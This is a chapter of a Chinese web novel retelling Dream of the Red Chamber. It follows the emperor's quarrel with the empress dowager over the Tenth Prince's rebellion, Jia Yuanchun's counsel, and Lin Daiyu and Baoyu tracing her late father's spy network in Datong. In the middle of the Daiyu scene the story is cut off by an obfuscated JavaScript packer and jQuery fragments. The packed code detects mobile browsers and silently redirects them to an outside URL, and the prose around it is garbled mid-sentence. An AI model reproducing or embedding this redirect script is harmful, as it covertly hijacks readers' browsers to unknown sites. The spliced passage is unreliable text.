36.第 36 章

作品:《李白在红楼

    御书房内鎏金香炉吐着龙涎香,皇帝的手指在十王爷密奏上摩挲出一道油亮的痕迹。窗外骤雨初歇,檐角滴水声像更漏般敲在心头。


    "陛下,贾大人的八百里加急。"大太监高鸿举着漆盒的手微微发抖。


    皇帝用银刀挑开火漆,展开的绢帛上字迹潦草,显是仓促写成:"臣查实十王爷勾结三皇子余党陆沉舟,大同总兵府已现私铸兵器......"


    "啪"的一声,白玉镇纸在青砖地上摔得粉碎。高鸿跪着向后蹭了半步,却见皇帝忽然笑了,只是那笑意比冰还冷。


    "朕这个弟弟啊。"皇帝从楠木匣中取出一卷画轴,徐徐展开。画中两个少年在御花园扑蝶,年长的紫袍玉冠,年幼的红衣锦带,落款是"承平十二年端阳"。


    高鸿认得这是先帝御笔,连忙低头。一滴水珠却砸在画上幼童的笑靥处,晕开了墨色。


    "传旨。"皇帝的声音惊得高鸿一颤,"着九门提督秘密封锁十王府,但..."明黄袖口下的手攥得发白,"不许惊动太后。"


    太后终究知道了十王爷在大同举兵的消息时,正对着镜奁簪花。银簪当啷坠地,她踉跄着抓住宫女手腕:“快备辇,哀家要见皇上!”暮色中的慈宁宫长廊,她的凤冠珠串在风中摇晃,如同她剧烈起伏的心跳。


    乾清宫内,皇上批阅奏章的朱笔突然顿住。太监尖细的通报声尚未消散,太后已跌跌撞撞冲了进来,满头珠翠凌乱:“皇上!你十弟他年幼无知,定是受人蛊惑……”


    “年幼?”皇上霍然起身,龙袍扫落案上奏折,“他勾结叛党时,可没显出半分懵懂!母后可知,他们的谋逆密信里,字字句句都要儿臣的命!”


    太后踉跄半步,扶住蟠龙柱:“他是你胞弟啊!你就不能念着血脉亲情……”


    “亲情?”皇上冷笑,眼底泛起血丝,“儿臣被刺客追杀时,母后在慈宁宫礼佛;儿臣染疫昏迷时,母后在给十弟筹办生辰宴!如今他要夺我江山,母后倒想起亲情了?”


    殿外惊雷炸响,太后的声音混着雨声尖锐起来:“哀家十月怀胎生下你,你竟如此狠心!”


    “生下我却不养我!”皇上猛地掀翻桌案,茶盏碎裂声中,他赤红着眼嘶吼,“阿娘把我养到八岁,您连件冬衣都没给我添过!在您心里,我不过是占着皇位的绊脚石!”


    太后僵在原地,看着皇上拂袖而去。次日,慈宁宫的宫门便落了锁,金丝楠木匾额下,禁军甲胄泛着冷光。


    御花园的海棠被暴雨打落满地,皇上独自坐在凉亭里,指尖无意识摩挲着玉佩——那是养母留下的遗物。皇后撑着油纸伞寻来,衣袂沾着湿意:“皇上,太后她……”


    “住口!”皇上猛然起身,惊飞了檐下栖雀,“从今往后,莫要再提此人!”他转身踏入雨幕,任由雨水浇透龙袍,恍惚间又回到幼时,阿娘将他护在斗篷下的温暖。


    窗外雨势渐歇,晚霞染红半阙宫墙。而此时的大同城中,陆沉舟将一封密信掷在十王爷面前,信纸洇着暗红血迹:“皇上软禁了太后。王爷,您这位好皇兄,倒是真下得去手。”


    十王爷捏紧信纸,指甲深深掐进掌心。陆沉舟的声音在密室回荡:“如今唯有破釜沉舟——我们在京城的死士已就位,只等王爷一声令下。”烛火摇曳中,两人的影子在墙上扭曲成狰狞的兽形。


    贾元春的寝宫飘来甜香,她亲自捧着桂花酿迎出来,鬓边茉莉随动作轻颤:“皇上尝尝,这是新制的冰酪。”见皇上神色阴沉,她又盈盈笑道:“方才宫人们逗弄新来的小狸奴,那小家伙打翻了胭脂盒,反倒在宣纸上踩出朵梅花……”


    皇上紧绷的嘴角终于松动几分。贾元春适时递上帕子,轻声道:“江南送来的云锦料子到了,臣妾想着,皇上龙袍上的金线该换了。”她指尖划过皇上衣角磨损处,目光温柔而坚定,“这江山再难,臣妾愿与皇上共担。”


    皇上坐在榻上,揉了揉眉心,语气中满是疲惫:“朕心中烦闷,来你这儿坐坐。”


    贾元春轻声吩咐宫女上茶,而后在皇上身边坐下,轻声说道:“皇上日理万机,可要多多保重龙体。若有烦心事,不妨说与臣妾听听,或许心里能好受些。”


    皇上抬眼看向贾元春,目光中多了几分柔和:“这后宫之中,也就你能懂朕。太后她……唉,为了十王爷,竟全然不顾朕的死活,丝毫不顾母子情分。”


    贾元春微微颔首,眼中闪过一丝忧虑:“太后娘娘许是一时糊涂,心中念着十王爷是她的幼子,才会如此。但皇上您也莫要太过伤心,太后娘娘终有一日会明白皇上的苦衷。”


    皇上冷笑一声:“她若真能明白,就不会做出那样的事。在她心中,朕这个儿子还不如十王爷。罢了,朕如今也看开了,这世上,也就阿娘是真心疼朕的。”


    贾元春见皇上情绪低落,便想着转移话题,让皇上心情好些:“皇上,近日臣妾听闻江南一带新出了许多有趣的玩意儿,还有不少才子佳人的佳话呢。”


    皇上微微挑眉,来了些兴致:“哦?说来听听。”


    贾元春嘴角上扬,娓娓道来:“听说江南有一才女,琴棋书画样样精通,慕名求亲者无数,可她却偏偏钟情于一个穷书生。那书生虽家境贫寒,却才华横溢,两人情投意合,真是一段佳话。”


    皇上听着,脸上的阴霾渐渐散去:“这倒是有趣,没想到江南还有这般奇女子。那书生可曾高中?”


    贾元春笑着摇摇头:“还未曾呢,不过那才女说,无论书生能否高中,她都愿与他相守一生。臣妾觉得,这般纯粹的感情,在这世间可不多见了。”


    皇上微微点头,感慨道:“是啊,这皇宫之中,多的是算计和利益,像这样真心相待的感情,实在难得。”


    正说着,一名太监匆匆来报:“皇上,江南传来急报,贾宝玉和林黛玉那边有新的消息。”


    皇上神色一凛,立刻坐直身子:“快呈上来。”


    太监将密报呈上,皇上接过,仔细阅读起来。只见他的脸色越来越凝重,看完后,将密报往桌上一扔:“这些乱臣贼子,果然有新的动作。”


    贾元春忙问道:“皇上,可是三皇子余党又有异动?”


    皇上点点头:“不错,他们似乎在准备一场更大的阴谋。贾宝玉和林黛玉已经掌握了一些线索,但还不够。朕得好好谋划谋划,不能让他们得逞。”


    贾元春想了想,说道:“皇上,臣妾觉得,如今可先稳住十王爷,让他与三皇子余党之间产生嫌隙。十王爷本就被三皇子利用过,心中定有怨恨,若能加以引导,或许能让他们自相残杀。”


    皇上眼中闪过一丝赞许:“你说得有理,朕这就下旨给贾宝玉,让他依此行事。”说着,皇上起身,大步向门外走去,准备回宫处理政务。


    贾元春望着皇上离去的背影,微微叹了口气。她知道,皇上身上肩负着江山社稷的重任,这场权力的斗争还远未结束,而她,也只能在这深宫中,尽自己所能,为皇上分忧解难。


    与此同时,在大同城中,十王爷正与陆沉舟等人商议着下一步的计划。十王爷心中对三皇子的背叛仍耿耿于怀,但为了皇位,他不得不与陆沉舟合作。


    “陆先生,皇上那边如今必定有所防备,我们该如何是好?”十王爷皱着眉头问道。


    陆沉舟微微一笑,眼中闪过一丝狡黠:“王爷莫急,我们已经在京城布下了不少暗子,只要找准时机,定能一举成功。不过,王爷您还得再忍耐些时日。”


    十王爷咬咬牙:“本王已经忍了这么久,不在乎再多些时日。但你们可得给本王保证,事成之后,这皇位一定是本王的。”


    陆沉舟拱手道:“王爷放心,我们的目的就是助王爷登上皇位,自然不会食言。”


    烛泪在青铜烛台上堆成珊瑚状,林黛玉面前的蓝皮册子已翻到卷边。她第三次检查父亲之前交给她的檀木匣——除了那枚"慎"字玉牌,就只有半片风干的棠梨花瓣黏在匣底,薄如蝉翼。


    "姑娘,该用药了。"紫鹃端着药盏进来,见黛玉正用银簪挑着花瓣对着灯看,"这陈年旧花有什么好看的?"


    簪尖突然一顿。黛玉发现花瓣背面有极细的针孔,排列成奇怪的形状。她心跳陡然加快,想起父亲教她认星图时说过:"有些消息,要换个角度才能看清。"


    "取我绣绷来!"黛玉突然起身,素白绢帛绷紧后覆在花瓣上,用胭脂轻拍。渐渐显出的图案让紫鹃倒吸凉气——是七个排列成勺状的小点。


    "北斗?"紫鹃疑惑道。


    黛玉指尖发颤:"是大同城的望楼布局。"她翻出父亲绘制的边关舆图,七个红点完美对应大同七座望楼。而花瓣柄端的针眼,正对着城西一座不起眼的茶肆。


    宝玉匆匆进屋时


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15526616|170090||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,正看见黛玉将玉牌按在茶肆标记上。玉牌边缘的凹槽与图案严丝合缝。


    "岳父大人竟在叛军老巢埋了暗桩!"宝玉摩挲着玉牌上突然显现的刻痕,"但这''戌时三刻''是何意?"


    黛玉将花瓣收入香囊系在颈间:"去了才知道。父亲既用这等手段,必是性命攸关的布置。"


    三日后大同城西,暮色中的"清源茶肆"挂着"今日盘账"的木牌。黛玉作男装打扮,在二楼雅间轻叩窗棂三长两短。


    "客官走错了。"掌柜的独眼里闪着警惕。


    黛玉摘下香囊放在桌上。当那枚花瓣飘落时,掌柜的瞳孔骤然收缩:"这...这是林大人的..."


    "家父林如海。"黛玉紧盯对方右手——那人拇指与食指间有墨迹,是常年执笔的特征。


    独眼掌柜突然用盐茶在桌面排出七星阵:"天枢何解?"


    "贪狼主祸。"黛玉将玉牌压在"天璇"位,"但破军可化吉。"


    掌柜的独眼蓦地湿润,从博古架暗格取出一本账册:"大人临终前可还安好?"


    黛玉喉头一哽:"咳血而逝。"


    账册里夹着大同驻军换防图,每处标记旁都有朱批。掌柜低声道:"林大人七年前就怀疑边军勾结盐商,派我在此潜伏。上月陆沉舟秘密接见的西域商人,实为鞑靼密使。"


    宝玉翻到最新一页——上面画着奇怪的符号,像被切断的蜈蚣。


    "这是..."黛玉突然夺过账册对着烛光。倒置的图案变成漕船队列,断处正是朝廷运粮要道。"他们要截粮道逼宫!"她声音发紧,"但为何选在..."


    掌柜的突然暴起将黛玉扑倒。一支弩箭钉入他后背,鲜血溅在账册上。"走..."他塞给黛玉半块铜符,"找...漕帮..."


    破窗声四起。宝玉揽住黛玉腰身跃下后巷,身后传来陆沉舟阴冷的声音:"林如海的女儿,果然和他一样碍事。"


    暗巷里,黛玉攥着染血的铜符。这枚刻着"亥"字的符牌,与父亲玉牌上的"戌"字形成古怪对照。远处更鼓传来,她猛然顿悟:"不是时辰!是地支方位——戌为西北,亥为正北!"


    "漕帮总舵在城北码头!"宝玉吹响暗哨,潜伏的暗卫们从阴影中现身,"但陆沉舟既已察觉..."


    黛玉将铜符按在心口:"正因如此,更要快。父亲用命换来的线索,不能断在我手里。"


    子时的码头雾气弥漫。漕帮总舵那艘三层楼船亮着诡异的绿灯,船头"四海"旗在风中猎猎作响。黛玉望着铜符背面的浪花纹,突然拉住宝玉:"不对,真总舵不在此处。"


    她指向远处一艘破旧货船:"那船吃水线不对——满载的货船不该那么浅。"果然,货船桅杆上挂着的破渔网,正与铜符浪花走向一致。


    货船舱底堆满盐包,掀开后露出向下的暗道。戴斗笠的老者盘坐在八卦阵中央,面前摆着与黛玉手中一模一样的半块铜符。


    "林大人的女儿。"老者不抬眼便道,"你可知''慎''字何解?"


    黛玉将两半铜符合拢:"心真为慎,家父教过我。"


    老者终于抬头,脸上刀疤在烛光中跳动:"三日前粮船已发,按陆沉舟的计划,明夜将在黑水峡遭劫。"他推来一只信鸽,"但真正的军粮,走的是令尊设计的暗线。"


    宝玉查看老者给的路线图,脸色骤变:"他们要在粮船遇劫时发动兵变!皇上的祭天大典就在..."


    "明日辰时。"黛玉冰凉的手抓住宝玉,"必须赶在破晓前送出消息。"


    信鸽振翅消失在夜雾中时,码头突然传来喊杀声。老者将火把扔进油桶:"走!老夫替你们拦一阵。"爆炸声里,他的狂笑混着漕帮号子传来——正是黛玉幼时听父亲哼过的调子。


    回程的马背上,黛玉后背衣衫尽湿。父亲布下的暗棋正在一个个牺牲,而棋盘那端的对手,似乎总能抢先一步。


    "不对..."她突然勒马,"陆沉舟怎会这么快找到茶肆?除非..."她想起账册上那些朱批,笔迹与父亲截然不同。


    宝玉也反应过来:"有人篡改了岳父的布置!"


    东方泛起鱼肚白时,他们终于截住那个往鸽笼放纸条的驿卒。搜出的密信上只有一行字:"林女已知暗线,速除。"


    笔迹娟秀得刺眼,似乎是女子的字。